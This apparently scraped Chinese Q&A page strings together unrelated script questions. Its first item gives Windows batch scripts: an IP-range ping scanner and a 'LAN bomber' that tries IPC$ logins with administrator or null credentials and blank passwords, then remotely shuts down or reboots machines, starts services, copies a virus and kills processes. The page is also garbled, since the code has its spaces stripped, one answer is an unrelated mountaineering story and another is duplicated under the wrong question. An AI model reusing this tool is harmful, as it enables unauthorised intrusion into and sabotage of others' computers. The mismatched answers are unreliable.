掃b段腳本

1. 求遍歷網段ip的shell腳本

是可以借鑒這裡面的一些東西而已，因為只要把這兩段小腳本中的一些東西結合起來可以達到你的要求(Windows環境中)，不是要完全的照搬，呵呵。

shell不會玩，Windows下的bat還會點...

還有一點要在Windows中調用linux中的shell腳本啊？

應該不可能...或者很難！

在Windows下我才能做到，不過太費時間了，給你兩段現成的代碼，如果你有時間有興趣的話，可以在Windows下玩玩這代碼，你有興趣的話可以結合一下，然後再做一些修改就能達到你要的要求！

第一段：

@echooff

title掃描在線IP

::MODEcon:COLS=60LINES=18

color0a

::裝飾。

:kaishi

cls

for/l%%iin(1,1,4)doecho.

set/pqishi=起始IP：

set/pjieshu=終止IP：

IFERRORLEVEL1echo錯誤的IP地址格式!&&pause&&gotokaishi

echo.

::從鍵盤獲得兩個變數的值。

for/f"tokens=1-4delims=."%%ain("%qishi%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv1=%%a

setv2=%%b

setv3=%%c

setv4=%%d

)

::分離起始IP的四個段並賦值，判斷IP是否正確。

for/f"tokens=1-4delims=."%%ain("%jieshu%")do(

if%%aLSS0gotoerror_2

if%%aGTR255gotoerror_2

if%%bLSS0gotoerror_2

if%%bGTR255gotoerror_2

if%%cLSS0gotoerror_2

if%%cGTR255gotoerror_2

if%%dLSS0gotoerror_2

if%%dGTR255gotoerror_2

setv5=%%a

setv6=%%b

setv7=%%c

setv8=%%d

)

::分離終止IP的四個段並賦值，判斷IP是否正確。

IF%V5%LSS%V1%echo錯誤：終止IP不能小於起始IP。&pause&gotokaishi

::判斷終止IP與起始IP的正確性。

IF%V4%LEQ%V8%setzeng_1=1

IF%V4%GEQ%V8%setzeng_1=-1

IF%v3%LEQ%v7%setzeng_2=1

IF%V3%GEQ%V7%setzeng_2=-1

IF%v2%LEQ%v6%setzeng_3=1

IF%v2%GEQ%v6%setzeng_3=-1

for/L%%din(%v1%,1,%v5%)do(

for/L%%cin(%v2%,%zeng_3%,%v6%)do(

for/L%%bin(%v3%,%zeng_2%,%v7%)do(

for/L%%ain(%v4%,%zeng_1%,%v8%)do(

ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR

echo%%d.%%c.%%b.%%a

)

)

)

)

echo掃描完畢!

pause&gotokaishi

:error_2

echo錯誤的IP地址!

pause

gotokaishi

第二段（未編寫測試完）：

@echooff

titleWin2k區域網轟炸器未完待續～す珹す～

color0a

:start

echo-------------------------------------------------------------------------------

echo收集信息中...&echo.

for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i

for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k

echo你的IP地址是：!ip!

echo你所在的網段是：!wd!

echo.

echo---請選擇掃描在線主機的掃描方式---

echo1.ping2.netview3.exit註：直接按回車鍵使用默認方式!【ping測試】

set/pfs=請輸入：

if"%fs%"==""gotoping

if"%fs%"=="1"gotoping

if"%fs%"=="2"gotonetview

if"%fs%"=="3"exit

cls&gotostart

:ping

echo.

echo輸入需要掃描的IP范圍(不需輸網段)1至255之內結尾數不能小於起始數!

set/pqs=起始數：

set/pjs=結束數：

if!qs!gtr!js!echo起始數不能大於結束數!&&ping127.1/n2>nul2>nul&&gotoping

echo正在掃描!wd!.!qs!至!wd!.!js!范圍內的主機在線情況...

echo-------------------------------------------------------------------------------

for/l%%iin(!qs!,1,!js!)do(

ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在線!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i離線!

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:netview

echo.

echo此區域網內在線主機：

echo-------------------------------------------------------------------------------

FOR/F"eol=-delims=\"%%cin('netview')do(

FOR/F"eol=服"%%iin('echo%%c')do(

FOR/F"eol=命"%%iin('echo%%c')do(

echo%%i&&echo%%i>>zx.txt

)

)

)

echo--------------------------------------------------------------------------------

gotoipc$scan

:ipc$scan

echo.

echo即將開始ipc$掃描...

echo.

ifnotexistzx.txtechosorry!此區域網中無在線主機,無法進行ipc$掃描!正在返回主菜單...&&ping127.1/n5>nul2>nul&&cls&&gotostart

echoipc$掃描時使用何用戶?註：直接按回車鍵使用默認用戶!【administrator】

echo要用空用戶（空鏈接）請輸入【null】

set/puser=請輸入：

if"!user!"==""setuser=administrator

if"!user!"=="null"setuser=

echoipc$掃描時使用何密碼?註：直接按回車鍵使用默認密碼!【空】

set/ppassword=請輸入：

if"!password!"==""setpassword=

echo.

echo你選擇的用戶為：!user!

echo你選擇的密碼為：!password!

ping127.1/n2>nul2>nul

echo.

echo正在掃描能ipc$連接的機子...

setipc$=0

for/f%%iin('typezx.txt')do(

echo-------------------------------------------------------------------------------

netuse\%%iipc$"!password!"/user:"!user!">nul&&(

set/aipc$=!ipc$!+1

echo連接%%i成功!

echo%%i>>ipc.txt

netuse\%%i/del>nul2>nul

)||(

echo連接%%i失敗!↑↑↑以上是錯誤提示!↑↑↑

)

)

echo--------------------------------------------------------------------------------

echo按任意鍵進入下一步！&pause>nul

:kill

cls

for/l%%iin(1,1,9)doecho.

echo掃描到!ipc$!台機器能ipc$連接成功!

for/l%%iin(1,1,3)doecho.

echo請問美麗的大姐您要怎麼捉弄他們?

echo.

echo1：關了他們2：重啟他們3：開啟服務

echo4：傳送病毒5：彈出消息6：關閉進程

echo.

set/pshr=請選擇：

if"!shr!"=="1"gotogj

if"!shr!"=="2"gotocq

if"!shr!"=="3"gotofw

if"!shr!"=="4"gotobd

if"!shr!"=="5"gotoxx

if"!shr!"=="6"gotojc

gotokill

:gj

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-s-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:cq

for/f%%iin('typeipc.txt')do(

shutdown-m\%%i-r-t0

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:fw

set/pfwm=請輸入需要開啟的服務名：

::還需檢測路勁

for/f%%iin('typeipc.txt')do(

netstart\%%i!fwm!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:bd

set/pbdm=請輸入要傳送的病毒的路徑：

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

::還需開啟對方計劃任務服務運行病毒

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:xx

set/pxx=請輸入要彈出的消息：

for/f%%iin('typeipc.txt')do(

echo正在彈消息中...

sc\%%iconfigmessengerstart=auto>nul2>nul

sc\%%istartmessenger>nul2>nul

netsend%%i!xx!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart

:jc

set/pjc=請輸入需要關閉的進程名：

for/f%%iin('typeipc.txt')do(

!bdm!\%%iadmin$

taskkill/s\%%i/f/im!jc!

)

echo完成!按任意鍵返回主菜單!

pause>nul&gotostart1

pause

2. 吉他譜上面掃弦有個b段什麼意思

這首歌應該是分為A、B、C段，前四句為A段，這首歌的B段是A段的升華，C段則是樂曲達到高潮時的段落。歌曲的演唱順序是AAB、然後ABCC。

3. 按鍵精靈定時執行腳本的問題，No delay。謝謝。簡要說：腳本A在一定的時間段執行，腳本B在另一個時間段執行

僅僅需要讀取時間就可以了，不需要定義Now。而且你的MyHour = Hour(MyTime),但是MyVar = Minute(Now)這里又回到NOW。還有i=1和ii=2，看不出在這里有什麼用，難道是AB腳本中需要使用？那你就在AB腳本裡面判斷是否是設定值啊，不要在一條命令裡面設定判斷太多值。還有最關鍵的是，經過我的測試，時間上是不能多條件判斷的，建議你採用數組。粗粗按你的腳本寫了下
Dim MyHour,MyVar,t(3),m(3),tm
t(0) =11 : t(1) = 13 : t(2) = 15 : t(3) = 17
m(0) = 12 : m(1) = 14 : m(2) = 16 : m(3) = 18
Rem 腳本C
tm = 0
Do While true
MyHour = Hour(Time)
MyVar = Minute(Time)
If MyHour = 18 and MyVar = t(tm)Then
MsgBox "現在是A腳本"
ElseIf MyHour = 18 and MyVar = m(tm) Then
MsgBox "現在是B腳本"
End If
tm = tm + 1
If tm > 4 Then
Exit Do
End If
loop
goto 腳本C

4. 買來的小軟體也就是腳本，怎麼看這個腳本有沒有病毒或者能掃號，掃號就是把我用腳本的數據發到別人的電腦

你好，只需要使用殺毒軟體進行檢測即可，以騰訊電腦管家為例，右擊你要檢測的殺毒軟體，選擇查毒即可

另外：
1、要避免病毒很容易，使用沙箱軟體運行即可，如SandBoxie
2、但是避免掃號比較困難，殺毒軟體可以檢測，但是如果掃號行為在病毒庫中沒有記錄，那麼可能殺毒軟體不會報警，所以不要輕易輸入你的賬號和密碼，可以先用一些測試號碼試一下！
有其他問題歡迎到電腦管家企業平台咨詢，我們將竭誠為您服務！

騰訊電腦管家企業平台：http://..com/c/guanjia/

5. 誰能寫個自動掃雷的腳本

( B )一個登山者非常渴望征服南美洲的最高峰——阿空加瓜山。

( 5 )經過數年的精心准備，他終於出發了。因為想要獨享征服

( 5 )者的榮譽，他決定一個人上路。

( 6 )幾小時過去了，天色越來越暗，但他不願露營，仍繼續往

( 6 )上爬。又過了一會兒，天完全黑下來。當爬到距主峰只有

( Q )100米的山脊上時，登山者一不小心，向下滑去。他跌落的

( Q )速度很快，突然他感到腰間猛地一頓，幾乎要把身體截成兩

段。「太好了！」他想，「幸好我記得把保護索釘牢。」原來他

被自己的保險索拉住了，現在他全靠那根繩子吊在半空。

6. 按鍵精靈後台運行腳本

你的腳本就是獲取當前的窗口句柄，，當你腳本獲取完句柄運行後你退出遊戲重啟游戲句柄變了。。需要重啟腳本再度運行，或者你編的腳本加上固定的句柄名字來查找句柄如HwndEx = Plugin.Window.Search("記事本")

7. 求高手給寫個VBS腳本！！！！

'保存為vbs類型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假設這是aaa,修改下路徑即可
file2="bbb.txt" '假設這是bbb,修改下路徑即可
file3="c.exe" '某c程序
button="^N" '某開始按鈕的快捷鍵,你必須先確定這個快捷鍵按鈕可以用鍵盤操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是別的組合鍵
tmp1=envision("tmp")&"\tmp1" '這是aaa的臨時記錄文件
tmp2=envision("tmp")&"\tmp2" '這是bbb的臨時記錄文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必須記錄文件,否則往後程序無法得知是否更新
'do 這是循環開始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的話程序自動退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序無法執行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的話程序自動退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
popup file1&"沒有變化,如果是第一次運行本程序,請再運行一次.",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb沒有更新的話就退出程序.這里如需要退出就把這一行第一個'字元去掉即可退出.反之如果不需要則不管或刪除此行.若需要執行某C程序則將上面3行前面的'去掉
end if
else
shell.popup file1&"沒有變化",3,wscript.scriptname,64 '如不需提示可刪除此行
end if
end if
'wscript.sleep 1000*30 '30秒執行一次
'loop 循環結束

'==================================
'代碼沒有經過任何測試,如果不符合實際要求.可以網路hi我.怎麼用法自己調整.如需要循環執行將32行的'do前面的'去掉,和76行的'loop前面的'去掉.循環的時候系統肯定會很慢,不保證能正常使用電腦.如需定時循環一次可以將75行最前面的'去掉.
'==================================

8. 按鍵精靈 先運行A腳本，到了指定時間無限循環B腳本

你這里有邏輯漏洞，因為你啟動腳本有可能是晚上10點之後，你沒有交代如果是晚上10點之後啟動腳本，是執行A腳本還是執行B腳本，所以我只提供一個「晚上10點之前啟動腳本」的代碼。

DimID
ID=BeginThread(A)
Do
	IfDateDiff("s",Date&"22:00:00",Now)>0Then
		StopThreadID
		Delay200
		BeginThreadB
		ExitDo
	EndIf
	Delay400
Loop


SubA
	WhileTrue
		'這里寫A段代碼
	Wend
EndSub


SubB
	WhileTrue
		'這里寫B段代碼
	Wend
EndSub

9. 按鍵精靈。我想在這個腳本中，循環執行 「按下B鍵」怎麼設置

你這里有邏輯漏洞，因為你啟動腳本有可能是晚上10點之後，你沒有交代如果是晚上10點之後啟動腳本，是執行A腳本還是執行B腳本，所以我只提供一個「晚上10點之前啟動腳本」的代碼。

DimID
ID=BeginThread(A)
Do
	IfDateDiff("s",Date&"22:00:00",Now)>0Then
		StopThreadID
		Delay200
		BeginThreadB
		ExitDo
	EndIf
	Delay400
Loop
SubA
	WhileTrue
		'這里寫A段代碼
	Wend
EndSub
SubB
	WhileTrue
		'這里寫B段代碼
	Wend
EndSub